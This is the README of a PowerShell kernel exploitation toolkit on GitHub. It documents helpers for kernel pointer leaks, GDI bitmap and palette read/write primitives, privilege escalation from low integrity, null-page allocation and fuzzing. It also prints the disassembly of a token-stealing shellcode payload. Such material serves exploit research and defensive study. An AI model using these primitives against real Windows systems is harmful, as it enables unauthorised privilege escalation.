Skip to content

FuzzySecurity/PSKernel-Primitives

master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.

PSKernel-Primitives

Over time I'll add PowerShell helper functions to assist in kernel exploitation.

Common PowerShell Exploit Constructs

Create buffer

# Byte buffer int/hex
$Buff = [Byte[]](0x41)*255 + [Byte[]](0x42)*0xff

# Buffer includes pointer
# Takes care of endianness, may need ".ToInt32()" or ".ToInt64()"
$Buff = [Byte[]](0x41)*255 + [System.BitConverter]::GetBytes($Pointer)

Pointer to alloc bytes

# (1) Virtual alloc -> MEM_COMMIT|MEM_RESERVE & PAGE_EXECUTE_READWRITE
# Call VirtualFree to release
[IntPtr]$Pointer = [Kernel32]::VirtualAlloc([System.IntPtr]::Zero, $Bytes.Length, 0x3000, 0x40)
# (2) AllocHGlobal
[IntPtr]$Pointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Bytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($Bytes, 0, $Pointer, $Bytes.Length)

Read DWORD/QWORD

# DWORD
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address)

# QWORD
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address)

Pointer <-> structure

# Pointer to PowerShell struct
$SomeStruct = New-Object SomeStruct
$SomeStruct_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($SomeStruct) # if needed
$SomeStruct = $SomeStruct.GetType()
$SystemPointer = New-Object System.Intptr -ArgumentList $Address
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SomeStruct)

# PowerShell struct to Pointer
$SomeStructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SomeStruct)
[IntPtr]$Pointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SomeStructSize)
[system.runtime.interopservices.marshal]::StructureToPtr($SomeStruct, $Pointer, $true)

Add elements to custom PowerShell object

# You can loop this is a for or while to add entries to $Result
$Result = @()
$HashTable = @{
	Element1 = "Val"
	Element2 = "Val"
	Element3 = "Val"
}
$Object = New-Object PSObject -Property $HashTable
$Result += $Object

Handle to current process

$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle

Loop based on time

$Timer = [diagnostics.stopwatch]::StartNew()
while ($Timer.ElapsedMilliseconds -lt 10000) {
	#...Something...
}
$Timer.Stop()

Simulate threading with runspaces

$Runspace = [runspacefactory]::CreateRunspace()
$Runspace.Open()
$RaceCondition = [powershell]::Create()
$RaceCondition.runspace = $Runspace
[void]$RaceCondition.AddScript({
	param($SomeExternalVar1,$SomeExternalVar2)

	# Do some stuff here

	while ($true) {

		# And/or do some stuff in a loop
		
	}
}).AddArgument($SomeExternalVar1).AddArgument($SomeExternalVar2)
$AscObj = $RaceCondition.BeginInvoke()

# Some condition to fulfill

# Kill the runspace
$SizeRace.Stop()

Get Winver version output

$WinVer = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\").ReleaseId

VirtualKD -> KD not loading on boot Win10

bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200

Kernel Helper Functions

Stage-HmValidateHandlePalette

Universal x64 Palette leak using HmValidateHandle. Includes tagTHREADINFO pointer to facilitate low integrity EPROCESS leak.

Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2, 10 RS3

PS C:\Users\b33f> Stage-HmValidateHandlePalette

tagTHREADINFO    : -6813887409648
cEntries         : -6813890109412
pFirstColor      : -6813890109320
PaletteKernelObj : -6813890109440
PaletteHandle    : 1007159191

PS C:\Users\b33f> $Manager = Stage-HmValidateHandlePalette
PS C:\Users\b33f> "{0:X}" -f $Manager.pFirstColor
FFFFF9CD84802078

Get-Handles

Use NtQuerySystemInformation::SystemHandleInformation to get a list of open handles in the specified process.

Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2, 10 RS3

C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
C:\PS> $Key |ft

ObjectType AccessMask PID Handle HandleFlags KernelPointer
---------- ---------- --- ------ ----------- -------------
Key        0x00000000   4 0x004C NONE        0xFFFFC9076FC29BC0
Key        0x00020000   4 0x0054 NONE        0xFFFFC9076FCDA7F0
Key        0x000F0000   4 0x0058 NONE        0xFFFFC9076FC39CE0
Key        0x00000000   4 0x0090 NONE        0xFFFFC907700A6B40
Key        0x00000000   4 0x0098 NONE        0xFFFFC90770029F70
Key        0x00020000   4 0x00A0 NONE        0xFFFFC9076FC9C1A0
                     [...Snip...]

Pointer-Leak

Pointer-Leak is a wrapper for various types of pointer leaks, more will be added over time.

Methods:

  • NT kernel base leak through the TEB (by @Blomster81)

    • Properties: Requires GDI primitive => LowIL compatible
    • Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2, 10 RS3
  • PTE leak through nt!MiGetPteAddress (by @Blomster81 & @FuzzySec)

    • Properties: RS1+ requires GDI primitive, NT Kernel base => LowIL compatible
    • Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2, 10 RS3
# NT Kernel base leak
PS C:\Users\b33f> Pointer-Leak -GDIManager $ManagerBitmap.BitmapHandle -GDIWorker $WorkerBitmap.BitmapHandle -LeakType TebNtBase -GDIType Bitmap

KTHREAD   : -35184359294848
TEBBase   : 140699435483136
NtPointer : -8787002226668
NtBase    : -8787003412480

# PTE leak
PS C:\Users\b33f> Pointer-Leak -GDIManager $Manager.PaletteHandle -GDIWorker $Worker.PaletteHandle -NtBase $NTLeak.NtBase -VirtualAddress 0xFFFFF78000000800 -LeakType MiGetPteAddress -GDIType Palette

PTEBase    : -10445360463872
PTEAddress : -9913858260992

Get-KernelShellCode

Generate x32/64 Kernel token stealing shellcode.

Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2

# x64 Win10 RS2
PS C:\Users\b33f> $sc = Get-KernelShellCode
PS C:\Users\b33f> Get-CapstoneDisassembly -Architecture CS_ARCH_X86 -Mode CS_MODE_64 -Bytes $sc

Address  Instruction
-------  -----------
0x100000 mov r9, qword ptr gs:[0x188]
0x100009 mov r9, qword ptr [r9 + 0x220]
0x100010 mov r8, 0x2dbc
0x100017 mov rax, r9
0x10001A mov rax, qword ptr [rax + 0x2e8]
0x100021 sub rax, 0x2e8
0x100027 cmp qword ptr [rax + 0x2e0], r8
0x10002E jne 0x10001a
0x100030 mov rcx, rax
0x100033 add rcx, 0x358
0x10003A mov rax, r9
0x10003D mov rax, qword ptr [rax + 0x2e8]
0x100044 sub rax, 0x2e8
0x10004A cmp qword ptr [rax + 0x2e0], 4
0x100052 jne 0x10003d
0x100054 mov rdx, rax
0x100057 add rdx, 0x358
0x10005E mov rdx, qword ptr [rdx]
0x100061 mov qword ptr [rcx], rdx
0x100064 ret

Get-LoadedModules

Gets the base of all loaded modules. For Low integrity this only works pre Win 8.1.

C:\PS> $Modules = Get-LoadedModules
C:\PS> $Modules[4]

ImageSize    ImageName                                     ImageBase
---------    ---------                                     ---------
0x5C000      \SystemRoot\System32\drivers\CLFS.SYS    -8246323585024

C:\PS> "{0:X}" -f $Modules[0].ImageBase
FFFFF8030460B000

Stage-HmValidateHandleBitmap

Universal x64 Bitmap leak using HmValidateHandle. Includes tagTHREADINFO pointer to facilitate low integrity EPROCESS leak.

Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2

PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl

tagTHREADINFO   : -7693316289488
BitmappvScan0   : -7693315010480
BitmapKernelObj : -7693315010560
BitmapHandle    : 419758522

PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap
PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
FFFFE0BF0094A000

Stage-gSharedInfoBitmap

Universal x32/x64 Bitmap leak using gSharedInfo.

Targets: 7, 8, 8.1, 10, 10 RS1

PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl

BitmapKernelObj : -7692235059200
BitmappvScan0   : -7692235059120
BitmapHandle    : 1845828432

PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap
PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
FFFFF901030FF000

Stage-BitmapReadWrite

Universal x32/x64 Bitmap leak using PEB.

Targets: 7, 8, 8.1, 10

C:\PS> Stage-BitmapReadWrite

ManagerpvScan0       : -7692227456944
WorkerHandleTable    : 767454567328
ManagerKernelObj     : -7692227457024
PEB                  : 8757247991808
WorkerpvScan0        : -7692227415984
ManagerHandle        : -737866269
WorkerHandle         : 2080706172
GdiSharedHandleTable : 767454478336
ManagerHandleTable   : 767454563656
WorkerKernelObj      : -7692227416064

C:\PS> $BitMapObject = Stage-BitmapReadWrite
C:\PS> "{0:X}" -f $BitMapObject.ManagerKernelObj
FFFFF9010320F000

GDI-Elevate

A token stealing wrapper for x32/64 which ingests a handle to a manager and worker GDI object.

Note that this function has two methods, if supplied with a pointer to an arbitrary tagTHREADINFO object it can elevate the current process from low integrity. Without the tagTHREADINFO pointer it relies on NtQuerySystemInformation (Get-LoadedModules) to leak the base address of the ntkernel which requires medium integrity on Win8.1+.

# MedIL token theft
C:\PS> GDI-Elevate -GDIManager $ManagerBitmap.BitmapHandle -GDIWorker $WorkerBitmap.BitmapHandle -GDIType Bitmap

# LowIL token theft
C:\PS> GDI-Elevate -GDIManager $ManagerPalette.PaletteHandle -GDIWorker $WorkerPalette.PaletteHandle -GDIType Palette -ThreadInfo $ManagerPalette.tagTHREADINFO

Alloc-NullPage

Wrapper to allocate the process null page on Win 7 32bit.

# Read
PS C:\> $NullPage = Alloc-NullPage -Bytes 1024
PS C:\> if ($NullPage -eq $true) {...} else {...}

Get-SyscallDelegate

Allocate 32/64 bit shellcode and get a Syscall delegate for the memory pointer.

# Sample definition for NtWriteVirtualMemory
C:\PS> $NtWriteVirtualMemory = Get-SyscallDelegate -ReturnType '[UInt32]' -ParameterArray @([IntPtr],[IntPtr],[IntPtr],[int],[ref][int])

# Syscall ID = 0x37 (Win7)
C:\PS> $NtWriteVirtualMemory.Invoke([UInt16]0x37,[IntPtr]$hProcess,[IntPtr]$pBaseAddress,[IntPtr]$pBuffer,$NumberOfBytesToWrite,[ref]$OutBytes)

Fuzz Helpers

Get-FuzzedInt

Returns fuzzed values for various types of integers with a preference for "beautiful"(?) values.

PS C:\Users\b33f> for ($i=0;$i-lt10;$i++) { Return-Int16 }
-31622
19309
8192
128
-32329
32758
7294
-32277
-4272
-32768
PS C:\Users\b33f> for ($i=0;$i-lt10;$i++) { "{0:X}" -f $(Return-UInt32) }
0
400000
4000000
200
FF3FC000
FF007F80
800
0
FFFFFFFF
4000000

Get-FuzzedString

Returns 3 types of strings, AlphaNum, Full ASCII and Unicode. Needs wrappers to marshal strings as AnsiBStr, BStr, LPStr, LPTStr, LPWStr, TBStr and UNICODE_STRING.

PS C:\Users\b33f> Return-AlphaNum -Maxlen 200
ej3vx38XQ3Kr24b6F5JFs0FIO16rGg5xGO6kLk0FULE2v76Rt11o6566ewRWE5J1pcf40q38868n

PS C:\Users\b33f> Return-AlphaNum -Maxlen 200
35c7UU4X17yLHlixrYwUa1t6D2KpEGQOwY

PS C:\Users\b33f> Return-AlphaNum -Maxlen 200
2XuHMUn4J6lESFNUOPf8S30Qy20Q4Q2TmWNv78hNO840SX365pmo23EC2eURY0K4E73wIOVUUyA324EY7S8V7Jxv0XL50hPsabLX7

PS C:\Users\b33f> Return-FullASCII
pA#`d�f4A~0V�Q|\

PS C:\Users\b33f> Return-FullASCII
c�0PL-`<�$h�9�m1�I3t]
'��

PS C:\Users\b33f> Return-Unicode 500
�搂ዴ南觐ቃ᱕懮놋Ŕ矶폧䩶∺緈憚캵鄟殫䩐ﺕ趂◪엏趨父邂ﲞ䥊層㮶䃐ゎ墜�ꇏ�࠽�Ꜯ뻹漷ᷨᖲ坞뤂勈᩹慧�ؘ쎛흗䅍핪ҡ맹뱍㑛庛到ᖤ祪്졗碒㣒
쁸稝᪆䀔㥻ҋ珖瞓ᔥї셵䣪鈐൤㲚췵⃙톷ꬢ툼햓ꋂ峱透䋞꫟�꽏樬፽趣⻹믲톄州岝衼ᘧ棶諌늝핞䛚铵䄇蛵㽟謓⨮遮ㄆ닊ⴵ梑敌掑땓찕毳狯莇鸈ꢏ锜
ꔤ㓱ڃຨ㿊㓦䑈⽌䳩掍㢟骉Ⳟ䃥㳏᧱㊺祫푹邠늝�≒ƿࡋ㟸닯當鐋卫猗됔䊋Ƥ弬圦郂㙲崘䑚댜Ꞥ䵃毧Ⱦ讹�ሢꉮ綟ᖴ뾩⎥䍐'狱俗먟ꓛ돲䴄錩
昇嚺쓫䂌咣嗢眇ᗠ肎읭굻㮞ᗥთ㚼ꇭ盏ꀣ⦟礎

About

Exploit primitives for PowerShell

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published